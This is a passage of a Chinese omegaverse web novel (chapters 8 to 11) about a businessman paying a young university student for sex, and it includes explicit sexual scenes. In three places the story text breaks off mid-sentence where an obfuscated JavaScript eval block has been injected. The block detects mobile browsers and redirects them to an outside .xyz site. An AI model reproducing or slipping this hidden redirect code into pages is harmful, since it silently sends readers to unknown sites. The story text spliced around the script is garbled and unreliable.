谢铮躺在床上,这会儿路鹿倒是知道做前戏了,把润滑液倒在他身上,冰冰凉凉的。 谢铮啧一声:“不用。” 他喜欢疼,过去最开始的那股疼、又排解了心里被算计的恼火之后,觉得这样竟然也不错。 路鹿却不同意了:“安全起见。” 他很细致地帮谢铮做好了准备,这才欺身上前。 谢铮忍着疼,很稀奇地看路鹿的表情:“脸红了?你还知道不好意思?” 路鹿咬着嘴唇笑,没说话。 那股还没有完全褪下去的又疼又麻的感觉又涌上来,谢铮低吼一声,用尽全身力气在路鹿肩膀上咬了一下。 丝丝缕缕的血液顺着路鹿白皙的肩膀往下蔓延。 路鹿却像是感觉不到一样。 谢铮疼得想死也爽得想死。 “……宝贝儿,蠢鹿,聪明的小鹿……老公不知道你这么厉害呢?” “谢叔叔,”谢铮做梦似的。耳边有声音:“和别人谈过吗?和别人接过吻吗?……过吗?” 谢铮咬着他肩膀笑,声音很含糊:“没有啊,你是第一个,该死的臭小子。” 8. 第 8 章 第8章 谢铮的嘴巴是真的很厉害,就算是在这种时候也不忘输出。 路鹿被他用“小鬼”、“混小子”、“小骗子”、“蠢鹿”、“混蛋东西”之类的词骂了个遍,也不反驳,笑眯眯地把自己额头上落下的一滴汗从谢铮胸前的纹身上抹去。 谢铮咬牙骂他:“你他妈乱摸什么呢?” 要是谢铮用平时的语气来说这句话,那肯定十分阴森吓人。 但谢铮现在就只是躺在床上,头发被汗水打湿,一条劲瘦的腿还搭在路鹿腰上,嗓音沙沙哑哑的,整个人因为疼和爽,乱七八糟的样子,连骂人都像是在调情。 路鹿轻轻抚摸着谢铮柔韧的皮肤,又把脸埋在谢铮脖颈里,闻他信息素的味道。 路鹿没想到谢铮能这么快就接受在下位的事实。 他以为至少他要和谢铮打一架才能分出胜负。 挂在天上的奖牌就这样被他这坏小子摘下来,被他弄脏。路鹿很少见地有点兴奋起来,温热的舌头绕着谢铮的侧颈打了个圈,又狠狠咬上去。 谢铮“嘶”了一声,低低笑起来:“蠢鹿,这么招人喜欢呢?” 路鹿抬起头。 谢铮整个人都发着抖,觉得自己半条命都快没了。 他“操”了两声,抓着路鹿后脑勺的头发把路鹿的脸拽到自己旁边,很凶的力道和他接吻,又在他脸上亲一下:“啊……小骗子,爱死你了。” 说话的时候谢铮的眼睛已经有些失焦了,朦胧涣散地看着路鹿,眼周有点发红和湿润。 被这样一双眼睛看着,路鹿差点就把谢铮口中的“爱你”当真。 路鹿变得前所未有的兴奋,手不知道什么时候开始发抖战栗,他帮谢铮翻了个身,让他背对着自己,不让谢铮看到自己现在很傻的表情。 - 结束后,两人都有点失神,路鹿从谢铮身上翻下来,和谢铮一起并排躺在床上。 如果是恋人,这个时候也许会有一个拥抱。但两人不是,路鹿安静地看着天花板,身上滚烫的温度一点点消散在房间里。 谢铮伸腿踹一下路鹿:“把我烟拿来。” 路鹿下床找了半天,终于在浴室里发现了谢铮的裤子。 裤子已经完全被水打湿了,烟盒也变得湿滑,好在里面的烟被保护的还算好,路鹿挑了一根整体算得上干燥的烟,把打火机和烟灰缸一起拿给了谢铮,又帮谢铮点了烟。 等谢铮吐出一个烟圈,路鹿又回头,从地上捡起两人湿漉漉的衣物放到烘干机里。 最后又问谢铮:“要吃点东西吗?我去点。” 简直比跟了谢铮两年的小助理还贴心。 “不用。”谢铮炫技地吐一个烟圈,坏笑地看着路鹿。 他刚才没少咬路鹿,年轻人身上现在全是吻痕和咬痕,他皮肤白,这些痕迹看起来就格外显眼。 谢铮看着自己的作品,回味了一下刚刚那酣畅淋漓的性/事,心情相当好:“晚点把你卡号给我。” 等烘干机响了以后,谢铮站起身去拿衣服。 躺着的时候还好,一站起来谢铮才发现自己的腰简直就像是被火车压过了一样疼,谢铮差点都没站稳。 路鹿看着谢铮一件件穿衣服:“要走吗?” “给你们宋老师浇花去。”谢铮整理着自己的腰带:“房开到明天中午,你在那之前回去就行。” 他说着朝外走,手都按在把手上又想到什么,朝路鹿勾勾手指:“宝贝儿过来,老公亲一口。” 路鹿弯着眼睛走过去。 谢铮捏着他下巴和他亲了一会。 柚子味的吻感觉出乎意料的好,谢铮使坏地喂了路鹿一口口水,这才满足地转身离开。 谢铮走后,路鹿简单收拾了一下房间里的一地狼藉。 那个老田买的润滑剂还剩下大半瓶,十个装的套子还剩下一半。 这两个东西也就是路边药店随便买的,说实话路鹿没觉得好用,味道也不好闻。但路鹿还是把它们都收了起来,以备下次需要。 早晨7:45的时候,路鹿的银行卡收到了一笔两万元整的转账。 他今天早上有课,收到短信时候已经在宿舍换衣服了。 崔松柏迷迷糊糊地睁开眼,看到站在下面的路鹿一下子精神了不少:“啊天呐!吓我一跳!小鹿你什么时候回来的?” “就刚才呀,我正打算叫醒你呢。” 崔松柏哦了一声,从枕头底下摸出眼镜戴上,看清路鹿的时候他又吓了一跳:“……小鹿?!你脸怎么这么红?嘴角怎么流血了??脖子上也红的???酒吧昨晚又有人闹事是不是?你挨揍了?” 不知道谢铮是有意还是无意,他脸上、脖子上虽然也留了痕迹,但至少不是牙印。 身上的痕迹就显得糟糕多了,肩膀上深到流血的齿痕,胸口上全是被人啃噬过的证据,就连大腿内侧都有牙印。 但这些路鹿当然不会告诉崔松柏。他往上拉了拉卫衣领子,又多套了件高领外套,弯着眼睛笑:“嗯哈。” 没人知道他昨天和谢铮亲得差点缺氧,他和谢铮做//爱了。 没知道昨天谢铮昨天一口一个宝贝儿地叫他,眼睛里带着水光地夸他厉害,说喜欢他,说爱死他了。 路鹿因为这秘密变得雀跃,浅浅的眸色都因此变得深了点。 上课的时候他抽空给谢铮发了个消息,告诉他自己收到转账了,还在后面跟了个可可爱爱的冒爱心的emoji。 谢铮一直没回复。 事实上,谢铮这两天忙得要起飞。 本以为只是一个小项目的合作因为政策的颁布,变成了被上面支持的重点领域,只要再操作一下,甚至有可能被纳入示范。 谢铮这几天睁眼闭眼都是开会,跑几个老板的公司,哦,还有伺候宋清远那些祖宗花草,连饭都快没时间吃了。 和路鹿的这一次真的是把他的瘾按下去了,这几天他甚至没自己弄,就只是在不停的工作,谢铮还挺喜欢这种忙碌的感觉。 等到再想起来路鹿,还是宋清远的一条消息。 [可怜的阳痿A]:好兄弟,江湖救急。 [谢]:。 [可怜的阳痿A]:我有东西落在办公室抽屉里。钥匙在我卧室柜子里风衣的口袋里,我让路鹿去家里拿,你什么时候有空? 路鹿? 像是黑夜里落下一道明亮的闪电,路鹿的脸庞很清晰地出现在谢铮脑海里。 接着谢铮想到了那天晚上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456884|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路鹿浅色的眼睛看着他,柔软的头发被他拽在掌心。嘴唇被他啃得红艳艳的,还带着笑,把他的一条腿抬起来,问他:“谢叔叔,我没经验,这样舒服吗?舒服呀?……嗯哈……” 像是火星碰到了干燥的棉絮,一团火沿着谢铮小腹猛地点燃。 整个屋子顿时炸满了烟草胡椒的味道,浓郁又呛人。 谢铮猛地抓起抑制剂给自己来了一针。 没有omega信息素诱导的情况下,正常alpha的易感期的频率是三个月到半年一次,每次持续半个月到一个月。 这期间内,即便注射了抑制剂,得不到信息素抚慰、无法对omgea标记的的alpha其实很遭罪,会出现情绪不稳、易怒易躁、筑巢和欲望格外强烈等症状。 一般alpha遇到易感期,都会选择请假不去上班上学,闭门不出。 但随着近年来抑制剂的效果越来越好,以前总会出现在新闻上的易感期伤人事件已经少了大半,贴片式和口服式的抑制剂甚至能让alpha感受不到疼痛。 但即便如此,对于绝大多数alpha来说,易感期也很难熬。 谢铮倒是没有像其他alpha一样对易感期发憷,就是有点好笑,酝酿了好久的易感期,竟然只是因为想到了路鹿就全面爆发了。 抑制剂渐渐起效,空气中的味道淡了许多。谢铮想了想,告诉宋清远:九点之后。 他又关心了一下好友的近况,但宋清远没有多说,只是说在老家每天看看海,画点画,挺舒服的。 结束和宋清远的聊天后,谢铮给路鹿弹了个语音通话过去。 十几秒后,通话被人接通:“谢叔叔。” 那边声音很嘈杂,有吵闹的音乐声,易感期的alpha的五感比平时敏锐一些,这对谢铮来说算得上噪音了。他皱了皱眉:“在哪里呢?” “学生活动中心。街舞社排练。我负责灯光的。” 路鹿笑:“五一结束后是校庆,谢叔叔你来吗?” 印象中Y大好像的确会有这样的活动,谢铮不感兴趣地道:“再说吧。” 路鹿“嗯”了声。 谢铮问他:“你们宋老师和你说了吗,让你来拿钥匙。” 路鹿那边有人叫他,路鹿轻轻应了一声,再和谢铮说话的时候,听起来像是在走神:“说了哦。” 这轻飘飘的声音和某些瞬间重叠上,谢铮舔舔嘴唇,直接挂了电话,改成视频回拨了回去。 路鹿接起来,戴着有线耳机,头发扎在脑后,穿着一件白色连帽衫,看起来很青春活力。 他那边环境有点暗,能看到不远处有人在走动,谢铮问他:“宝贝儿,吻痕消了没?” 路鹿眯着眼睛笑了一下,也没扭捏,直接把卫衣领子往下拉了拉。 喉结旁边还有点红,但不仔细看的话也不会觉得不对劲。 谢铮盯着少年精致的锁骨,坏笑:“晚上不用过来了,直接去酒店等我,还是上次的房间。” 路鹿手指摸摸屏幕上谢铮有棱角的脸,笑得很乖:“好哦,谢叔叔。” - 路鹿微博 [发布于一天前] @Deer:马上就要全消了^^ 9. 第 9 章 第9章 晚上谢铮先到了酒店。 他没急着进去,让老田把车停在对面。 老田是从十几年前就一直跟着谢铮混的,那时候谢铮打架他负责望风,谢铮受伤他去送水果,现在谢铮发达了,他就给谢铮跑腿、开车。 不是什么没面子的事儿,至少工作比别人稳定多了,奖金也丰厚。 老田从后视镜里看谢铮,意识到他心情不错。他叫谢铮:“哥,这边儿不让停太久,等下我把车开到后面的停车场去,你出来了就打给我。” 谢铮应了声。 说话的时候路鹿从旁边的地铁口出来了,他在酒店门前左右看了看,没找到谢铮,从斜挎包里拿出一只面包开始啃。 谢铮:“……” 他看的好笑,举起手机隔着窗户拍了张路鹿,又给路鹿发了过去。 路鹿一手举着面包,一手拿出手机。 等他看清楚谢铮发的内容后,抬头张望了几下,立刻找到了谢铮的车。 恰逢变灯,绿灯就剩最后几秒,路鹿小跑着来到谢铮车前,弯腰笑眯眯地看着后座:“谢叔叔?你在里面吗?” 谢铮按下车窗,嘲笑他:“你是来春游的小学生?” 路鹿举起手里吃了大半的面包:“好吃呢,奶油的。谢叔叔尝尝?” 谢铮着看着路鹿,突然伸手,用拇指在路鹿嘴角抹了下,放到嘴边吮了下,坏笑:“一般吧。” 路鹿一愣,唇角微微上扬起来。 谢铮下了车:“走吧。” 话虽这么说,但现在是红灯。等变灯的时候,路鹿三下五除二地把剩下的面包吃了,又摸出一瓶水和一个小药瓶,倒出两粒白色的小药丸,和水吞了。 “什么东西?”谢铮拧眉:“助勃片?” 路鹿一口水差点呛得咳嗽了两声:“维生素啦。” 谢铮锃光瓦亮的皮鞋在路鹿运动鞋上踢一脚,嘲:“吃这么多,等下吐出来。” 路鹿好脾气地弯着眼睛:“不会的。” 上楼进了房间以后谢铮直接拽着路鹿的领口,让他弯下腰来。 他凶狠地咬着路鹿嘴唇,尝到了甜甜的奶油和异常苦涩的药混合在一起的味道。 易感期的alpha五感敏锐,这味道一股脑冲到谢铮脑门,谢铮恶心坏了,“呸”了好几下:“你给我刷牙去!” “谢叔叔不喜欢吃甜的?还是不喜欢苦味?” 谢铮拧着眉:“赶紧去!” 路鹿忍俊不禁地钻到浴室,仔仔细细地把牙齿刷干净,又用漱口水漱了两遍,出来的时候却没见到谢铮,却听到有水声从楼上传来。 酒店的这间房是双层结构,比路鹿之前住过的任意一个房间都要豪华许多,只是上次他根本就没空看,这会儿才反应过来,谢铮可能是在楼上的浴室冲澡。 为了保证客户的体验,路鹿也很尽责地去冲了个澡。 出来的时候,比起穿戴整齐的路鹿,谢铮浑身上下只围了个浴巾,撑脸躺在沙发上看电视,指间还夹着一根烟。 看到路鹿,谢铮微微支起一点身体:“过来。” 路鹿走到他旁边坐下,垂眸看谢铮手臂上的纹身,有点好奇:“这是纹的小狗的骨头吗?是叔叔养过的小狗吗?” “我给你钱是为了让你跟我聊天的?要不要把你家有几口人,爷爷奶奶退休金有多少钱和我分享一下?” 谢铮嗤笑着吸一口烟,又把烟雾全都渡到路鹿嘴里,又把舌头堵过去,用力地缠绕着路鹿的舌头。 只是这样一个不算温柔的吻,却让谢铮好不容易被压下去的易感期轰得一下爆发,屋子里顿时充满了乌云一样沉重的胡椒味道,谢铮把路鹿按倒在沙发上,牙齿痒的厉害,拽着他领口的衣服就去咬路鹿的后颈。 alpha显然不能对另一个alpha完成任何标记,谢铮的躁动得不到任何的缓解。 成熟alpha的呼吸声就在路鹿的耳边响起,带着热气和潮湿的呼吸喷洒在路鹿颈间的皮肤上,带着浓郁的渴望。 路鹿的呼吸声也渐渐急促起来,他抬手按着谢铮后脑,安抚他:“谢叔叔别急,别着急。” 谢铮的声音近在咫尺地响起来,沙哑、带着欲望的气息,只是说的话却不算好听:“不行就把钱退老子!老子退订!” 路鹿差点喷笑出声:“…………” 退订? 这是把他当包月会员了? 他已经知道上次都是两人都是第一次。但作为第一次来说,又实在很不像样子,没有温情也没有爱抚。 路鹿这次是想慢一点的,但谢铮显然不满他的节奏,一点点往下坐。 两个人同时呼出一口气,有疼也有舒服。 被谢铮的手撑着的胸膛有种酥酥麻麻的感觉,路鹿抓起谢铮的手,用嘴唇碰碰他的手指。 谢铮反手掐住他的脸,弯腰和他接吻,嘴唇贴着嘴唇地问他:“这么乖,是因为喜欢老公还是喜欢老公的钱?” 还不等路鹿回答,谢铮使劲儿甩了一下脑袋。 之前的易感期,谢铮都是自己一个人撑过来的,说实话不算困难。他也知道,有了omgea信息素抚慰的alpha会在易感期的时候过的更容易。 可现在他是介于这两者之间的状态,既满足又不满足,身体被充满的感觉很舒服,但因此,牙痒得厉害,那种想要标记谁的冲动前所未有的高涨着。 浓郁的信息素让谢铮自己都发晕了,这让他产生了像是喝醉了一样的感觉。 四肢发软,头脑发晕。 路鹿伸手扶了他一下:“没事吧?” “没事。” 路鹿有点担心他,坐起了身体,双臂把他拢在怀里,给了谢铮一个像是拥抱的东西。 从来没有人这么给过谢铮这种柔软的拥抱。一瞬间谢铮头发都发麻了:“你他妈干什么呢?!恶心死了。” 路鹿还是第一次看到谢铮这样,简直就像一只炸毛的猫。 路鹿觉得这样的谢铮很新奇,他睁大眼看着谢铮的表情,心里冒出了两字和谢铮很不相配的字来:可爱。 路鹿忍着笑,一手捏着他的后颈,揉着他根本就不存在的腺体,安抚他:“别急,别着急。” 另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456885|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只手则从他的腰伸过去,搂在他后背上,就借用着这种抱着他的姿势用轻轻的力度触碰着谢铮。 动作因此慢了下来,也轻了下来,谢铮原本只能感觉到疼和爽的身体竟然感受到了更多的东西。 路鹿一直盯着谢铮的脸,当然发现了他的变化,于是把动作放得更轻柔。 谢铮听到有什么声音。 他拧着眉,听了好一会才发现那短促的声音竟然是自己发出来的。他猛地抬起手,用力咬住自己。 谢铮皱眉咬着虎口的样子很好看,路鹿抿了抿唇,还是扯下了谢铮的手。 谢铮因此失去了一瞬间的平衡,倒在路鹿身上。 他想重新直起腰,但路鹿却突然变得很不听话,谢铮枕在路鹿胸口上,听年轻人剧烈的心跳:“操……小鹿,听话,别动……让老公坐起来。” 路鹿装作听不到地咬着他耳朵。 一来二去的,谢铮觉得自己快疯过去了,他捧着路鹿的脸:“小鹿,乖小鹿,老公,爱死你了。” 谢铮胡言乱语的也不知道自己在说什么了,无意识地咬着路鹿的卫衣,一会让路鹿快点一会儿让他慢点的。 路鹿低头,用力去吻谢铮变得红艳艳的嘴唇。 等松开谢铮嘴唇的时候,路鹿还能窥见谢铮脸上那抹出神。 他轻轻的,带着一些隐秘的期待问谢铮:“叔叔叫我什么?” 谢铮从迷离的状态里清醒了一瞬间,戏谑地说:“老公。” 等一切都结束,天边已经开始泛白。 谢铮还记着老田,恢复了体力之后的第一件事是哑着嗓子给他打了个电话:“你先回去吧。” 路鹿把浴缸放好了水,一手垫在谢铮后脑,一手从他腿弯传过去,公主抱地把谢铮放在浴缸里。 谢铮伸手捏路鹿的脸:“你体力不错。” “我最厉害的一次,先是发了两个小时传单,又去公园扮娃娃。48小时里打了六份工,体力就是这么练出来的吧?” 路鹿挽起袖子,把手臂伸到水中:“谢叔叔,抬一下腰。” 最后那次的时候,不知道是哪里出了问题,安全套一直在往下掉,谢铮嫌烦了,索性没让路鹿再用,也因此现在才需要做一些额外的清理工作。 谢铮侧过身,问路鹿:“你很缺钱?” 路鹿的回答很暧昧:“是吧?” “你一个学生,钱用在哪里?总不能是吃饭吧?” 路鹿看着谢铮后腰上自己留下的咬痕,笑:“艺术系很烧钱的。” 谢铮不置可否地耸了耸肩,心里对路鹿的那点兴趣随着这几个问题也消散了,于是尽管这个话题还可以继续延续,但也没再说什么。 路鹿帮谢铮清理完,又拿了软膏来帮他上药,谢铮被他伺候得很舒服,甚至生出了一种想要给路鹿涨工资的冲动。 当然,也只是想想。 - 谢铮日记 [十三年前] 死老头包了个omega被我发现了。 难道他看不出来别人是在图他的钱?? 真是又蠢又恶心。 10. 第 10 章 第10章 瘫睡一夜,第二天谢铮醒来的时候,身体像是健身过度,混合着极度的酸软和酣畅淋漓的舒适。 路鹿已经起来了,衣服穿戴整齐,笑眯眯地往桌上摆早餐外卖。 谢铮眯着眼打量路鹿。 男生看起来和谢铮第一次见他的时候没有任何变化,活力青春,像对着太阳绽放蠢兮兮笑脸的向日葵,仍旧带着不经人事的纯真。不像谢铮某些狐朋狗友,前一晚做了什么,一眼就能看出来。 两人做的时候也是这样,不管身体再泥泞,路鹿的表情还是清清爽爽的。 谢铮摸过床头的烟。 路鹿听到打火机盖子开合的声音,回过头:“三鲜小笼包和豆浆,谢叔叔吃得惯吗?” 谢铮没回答,看着路鹿的脸眯着眼笑,一开口嗓音还是哑的:“怎么还和雏儿似的?” 路鹿没想到谢铮会回自己这么一句话,有些惊讶地扬起眉看着谢铮,隔了一会儿后又被逗笑了,噗嗤笑出声来。 谢铮一看他这傻兮兮的笑脸就烦,在心里骂了声蠢。 吃完早饭谢铮拿出一支抑制剂丢给路鹿:“宝贝儿,帮我打上。” 路鹿笑:“我还没用过这种的。” 谢铮:“…………” 他印象中贴片抑制剂出现也就是这两年的事情,路鹿连注射式都没用过,可见他是真的小。 谢铮差点没控制住嘴角的抽搐:“你还没有老子养的狗大。” “狗?”路鹿看谢铮手臂上的骨骼纹身:“是这只吗?” 谢铮从鼻腔里应了一声。 “它叫什么名字?” “米团。”谢铮皱着眉,不想再继续这个话题:“你快点。” 路鹿在谢铮肩膀上找到米团头骨的位置,和它打了个招呼:“米团你好,我是被你爸爸包养的情人。” “……”谢铮无语:“你他妈乱教什么呢?” 话音刚落,小腹一痛,尖锐的短针被路鹿刺进皮肤,随着推动一点点注射进身体里。 针头拔/出的时候,有两滴药水滴在谢铮腰上。路鹿抬手擦去,抬头看到谢铮的表情。 谢铮无疑是个很能忍痛的人,但此时眉毛紧皱着,薄唇抿起,胸肌微微抖动着。 路鹿只知道注射式的抑制剂疼,但没想到会这么疼。 但谢铮这时的表情太漂亮了,像是被欺负了,路鹿猜这世界上根本就没有几个人,甚至有可能只有他一个人看过谢铮现在的样子。 还有另外的那些表情,迷离到双眼失神的,麦色的皮肤带着红晕、昏昏沉沉地笑着的,还有咬着自己虎口的样子。 辣得要命。 路鹿按着谢铮腰的手猛地把谢铮翻了个身,整个人跪着覆盖上去。他火急火燎地顺着谢铮的腰线一路往下亲吻,谢铮戏谑的声音混合着喘息声:“操……宝贝儿,怎么突然发/情了?” 昨晚的余韵还在,并不需要太多准备工作,路鹿很想看到谢铮因为自己变得舒服的脸,所以格外卖力,直到听到谢铮奇怪的“呃”声才停下。 谢铮弓着腰,用很奇怪的姿势按着自己的小腹,路鹿一愣:“谢叔叔,你不舒服吗?” 谢铮没有立刻回答他,发出了两声像是干呕的声音来,抓着路鹿按在他腰上的手按在他小腹上。 谢铮的皮肤是很健康的麦色,路鹿的皮肤本来就白,此时手指被谢铮抓在手里,对比起来甚至显得苍白。 路鹿发愣地看着两人交握的手,手指动了动,却不明白谢铮的用意。 然后路鹿隔着谢铮的腹肌,竟然抚摸了某种形状。 “你他妈吃的是小笼包还是大力丸?疯了?”谢铮用力深呼吸了几下,冷笑着:“等下清理不干净老子把你的头当球踢,蠢货。” 谢铮骂的凶,路鹿却知道他没怎么生气。 这种姿势,手抚摸到的东西,让路鹿产生了一种完全把这个强势的男人握在掌心的错觉。 路鹿轻声,语气很乖巧:“我会帮叔叔弄干净的。” 说着话,路鹿却想起了生理健康课上老师教过的知识点。 如果现在谢铮是一个健康的,正处在发/情期的omgea,那么他有百分之五十的概率会在结束后进入假孕状态。 如果进行了标记或者临时标记的行为,那么谢铮有百分之十的概率会真的怀孕。 路鹿还从来没想过孩子。 他才十八岁,很难想象一个有着自己的眉眼、和自己流淌着相同血液的婴儿出现在这个世界上。 路鹿回过神的时候,听到谢铮又在夸自己又在骂自己的:“……蠢鹿,乖小鹿……深点……他妈的……不对……你给老子滚出去……” 路鹿觉得自己像是被晒在日光下的蜜糖,几乎融化成甜水。他咬着谢铮的耳朵,因为幻想谢铮会为自己生下一个孩子而变得更加兴奋。 谢铮在心里骂了一万句脏话。 要是正常情况下比,谢铮不觉得自己的体力会输给路鹿。 但做下面那个所耗费的气力比谢铮想象中要多太多了,再加上谢铮现在本来就处于易感期,谢铮竟然只有被压制的份儿。 他用力翻了个身,凑到路鹿耳边,湿漉漉地威胁:“你胆肥了敢这么对你老公?你等着——下次看我不干死你。” 路鹿笑着答应:“嗯嗯。”但从他越来越放肆的动作来判断的话,显然是没听进去。 - 路鹿回学校的时候已经是中午。 他今天没课,待在工作室画草稿。 关于下一个作品,他其实已经有了灵感。 谢铮身上的犬类骨骼很好看,他也可以用骨骼来组成更多的东西。天空、草地、雪山,整个世界。 路鹿画画改改的,最终草稿渐渐定型。 白骨版的断臂维纳斯。 这类带一些设计的创意雕塑其实对于他们现在的阶段来说还太早,但路鹿很喜欢这种把自己不成熟的灵感变成现实的感觉。 他全神贯注地找参考、细化草稿,这种沉浸的状态最终被一阵敲门声叫醒了。 “我看到你们工作室还没关灯,就猜是不是你在。” 同系的几个同学探头进来:“小鹿,晚上民乐社聚餐,我们去蹭饭,你和我们一起啵?” 同学用手比划了一个大小:“那家饭店的虾听说有这——么大!” “这——么大呀。”路鹿忍笑学同学说话:“那我一定要一起啵。” 民乐社聚餐的地方是在学校附近一家新开的中餐厅。 来吃饭的也不只是民乐社的社员,还有不少跟着凑热闹的,认识的不认识的,拖家带口,反正人越多饭钱A得越划算。 吃到一半的时候崔松柏也来了,风风火火的。 他很惊奇地睁大眼:“我刚刚看到谢铮了。” “谢铮?” “老师吗?” “啊,我知道他!” 学生们有部分不认识谢铮的,宋清远在短视频软件上打上谢铮的名字,搜索结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456886|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果出来的时候,满桌都响起了恍然的“噢——” ——原来就是那个长得很帅很吓人的,在网上火过几次的总裁。 听其他人提起谢铮,路鹿有些忍不住想笑,他按了按锁骨,一层薄薄的衣服底下全是谢铮留下的咬痕。 他偷偷给谢铮发消息:谢叔叔 [谢]:? [谢]:[转账0.5元] [谢]:老公忙呢,买根棒棒糖吃去 路鹿憋笑憋得就差把脸埋在桌子底下了。 崔松柏神秘兮兮的语气:“和我们宋老师是朋友呢。” 宋清远学生们倒认识的多了。 同学们又恍然地“噢”了声。 民乐社的社长是个精干利落的omgea女生,她抿着嘴唇笑:“我闻到了八卦的味道。” 学生们互相看看,再再再次恍然地“噢。” “竹马竹马哇。” “还是同学。” “谢铮不是在J市的么,这次不知道怎么就突然来Y市了。” “那天宋清远和他在校园里有说有笑的。看着很配。” “可他们不是两个alpha……” “宋老师的情况你又不是不知道。说是alpha,不如说是beta。” 同学们热烈地八卦着,几乎已经快要把“谢铮其实苦恋宋清远这件事”拍板钉钉。 路鹿看着暗掉的手机屏幕里自己的倒影,刚才被逗出来的那点儿笑容已经全没了,表情冷冷。 路鹿起身:“我去下卫生间。” 饭店的卫生间水竟然是从雕刻成希腊女人怀里的果篮里的水龙头里流淌出来的,路鹿喜欢这样的巧思,用手机前后左右地拍了好几张参考照后,弯腰用手接了捧水,把脸埋在里面了一会。 再抬头的时候路鹿从前面的镜子里看到湿漉漉的自己,和自己旁边黑色西装,宽肩窄腰的男人背影。 谢铮抱着手臂,好笑的语气:“你在干嘛?吐泡泡?” 路鹿笑:“太热了。” “你怎么在这儿?” “社团聚餐。”路鹿比划:“听说这里虾有这——么大。” 谢铮“哦”一声:“怪不得,我们隔壁的包间应该就是你们这群小崽子,吵死了。” “嗯,他们都喝了点酒。” 谢铮突然眯了眯眼:“你喝没喝?” “没有。” 谢铮两只手捏住路鹿脸颊两侧,坏笑:“叔叔检查下。” 路鹿很配合地张开嘴巴,吐出一点舌头。 这张乖顺的脸做这样的表情实在是太有冲击力了,谢铮“操”了一声,捏着路鹿脸颊的手用力了一点:“老公有正事呢,你这么勾我?” 不等路鹿回答,谢铮抬头去咬路鹿吐出来的那截舌头,含在嘴巴里,凶猛地纠缠。 和路鹿接吻的感觉实在很好,路鹿不扭捏,很配合,谢铮总能想起自己最开始的时候,说的那句“我不接吻”,实在是有点装了。 走廊传来脚步声,谢铮才松开路鹿的脸颊。脚步声的主人从卫生间外经过,路鹿突然说:“对了,谢叔叔。” 谢铮:“……?” 路鹿:“你以后要是有别的情人的话,我按照辈分,是不是能涨工资?” 谢铮:“……” “你当你是后宫升职记的女主呢?”谢铮又无语又好笑:“暂时不会有别的人给你过官瘾,你先收了涨工资的心吧。” 路鹿轻轻地笑起来:“嗯。” 11.第 11 章 第11章 拐过走廊,谢铮和路鹿一个往左走一个往右走。 路鹿想起来什么,追了两步问:“今晚过去吗?” “不用。今晚有事。” 路鹿应了声。 谢铮:“不问问是什么?” 路鹿很配合地问:“叔叔今晚有什么事?” 谢铮坏笑:“喝花酒去。” 其实哪有什么酒可喝了,今晚的安排是回宋清远那儿捧着电脑开会,光是一想到就全身都萎了。 但逗逗蠢鹿还是挺有意思的:“不过那些omega没有你招人喜欢。” 路鹿也听出来谢铮在开玩笑:“谢谢。” 谢铮嗤笑一声,脸上的笑容不知怎么就变淡了一点儿。 路鹿对情绪很敏锐:“怎么了吗?” 怎么了? 谢铮咬出一根烟点上,往路鹿脸上喷一口。 一个alpha会被另一个alpha吸引。路鹿不觉得有什么,接受得很快,这很好。 谢铮也乐于接受这个事实。 但这个事实背后还藏着乱七八糟的其他东西,像是下水道里纠缠着头发的食物,黏腻潮湿,散发腐味,令人心烦。 谢铮摸出一根烟点上,眯着眼朝路鹿吐出一口。 这种坏情绪一直持续到酒局结束,在车上的时候堂弟谢里又打了个电话过来:“哥!你是我亲哥!你回家行不行?!” “我爸妈还在烦你?” 谢里:“那倒没有。就是你不在,姑姑只能找我妈逛街。我负责拎包。” “那正好。”谢铮道:“你不是喜欢年上吗?” 谢里:“…………” 他被谢铮恶心得半天没说话。 谢里犹豫着:“但是你也没有必要离家出走吧。你还在生气吗,因为姑姑姑父……” 谢铮和这堂弟从小一起长大,谢里一撅尾巴谢铮就知道他要放什么屁。 他打断谢里:“谁和你说我是离家出走了。我这不是把你一直都想要的源启的单拿到了吗?” 谢里一愣,听筒那边传来谢里越发粗重的呼吸声:“……是你抢的?!你现在在Y市??” 谢铮忽悠他:“你猜我现在在不在?” 谢里:“……你把我当猴耍呢?” 说完也不等谢铮再说什么,愤怒地挂断了二人的通话。 谢铮笑笑,无所谓地收起手机。 他的公司都在J市,他当然会回去的,只是不是现在。 - 接下来一个星期谢铮又很忙。 忙的代价是之前跟了很久的项目的落地,以及惊人的利润。 庆功宴在公司举行,谢铮无法出席,就采用了最淳朴的庆祝方式——给项目组里的每个员工都发了一大笔丰厚的奖金。 他心情不错,去冰箱里拿了杯啤酒,从紧绷状态下变得松懈的身体,很清晰地感受到易感期的躁动。 他给路鹿弹了个语音。 